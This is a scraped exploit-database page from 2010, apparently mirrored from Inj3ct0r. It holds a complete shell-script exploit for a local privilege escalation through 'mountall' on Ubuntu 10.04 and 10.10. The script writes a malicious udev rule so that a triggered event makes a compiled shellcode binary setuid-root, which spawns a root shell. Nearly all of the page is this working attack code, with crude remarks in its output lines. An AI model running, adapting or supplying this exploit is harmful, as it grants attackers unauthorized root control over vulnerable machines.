Home / os / win7

[local exploits] - Ubuntu Linux 'mountall' Local P

Posted on 21 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Ubuntu Linux &#039;mountall&#039; Local Privilege Escalation Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: local exploits | Exploit author: fuzz' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================ Ubuntu Linux &#039;mountall&#039; Local Privilege Escalation Vulnerability ================================================================ #!/bin/sh # by fuzz. For Anux inc. # # ubuntu 10.04 , 10.10 if [ -z &quot;$1&quot; ] then echo &quot;usage: $0 &lt;UDEV KERNEL EVENT&gt;&quot; echo &quot;see here http://www.reactivated.net/writing_udev_rules.html&quot; exit fi cat &gt; usn985-exploit.sh &lt;&lt; EOF #!/bin/sh chown root:root $PWD/usn985-sc chmod +s $PWD/usn985-sc EOF cat &gt; usn985-sc.c &lt;&lt; EOF char *s=&quot;x31xc0x31xdbx31xc9x31xd2x52x68x6ex2fx73x68&quot; &quot;x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80&quot;; main(){int *r;*((int *)&amp;r+2)=(int)s;} EOF gcc usn985-sc.c -o usn985-sc echo &quot;KERNEL==&quot;$1&quot;, RUN+=&quot;$PWD/usn985-exploit.sh&quot;&quot; &gt;&gt; /dev/.udev/rules.d/root.rules chmod +x usn985-exploit.sh echo &quot;All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)&quot; echo &quot;Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-21]</pre></body></html>

 

TOP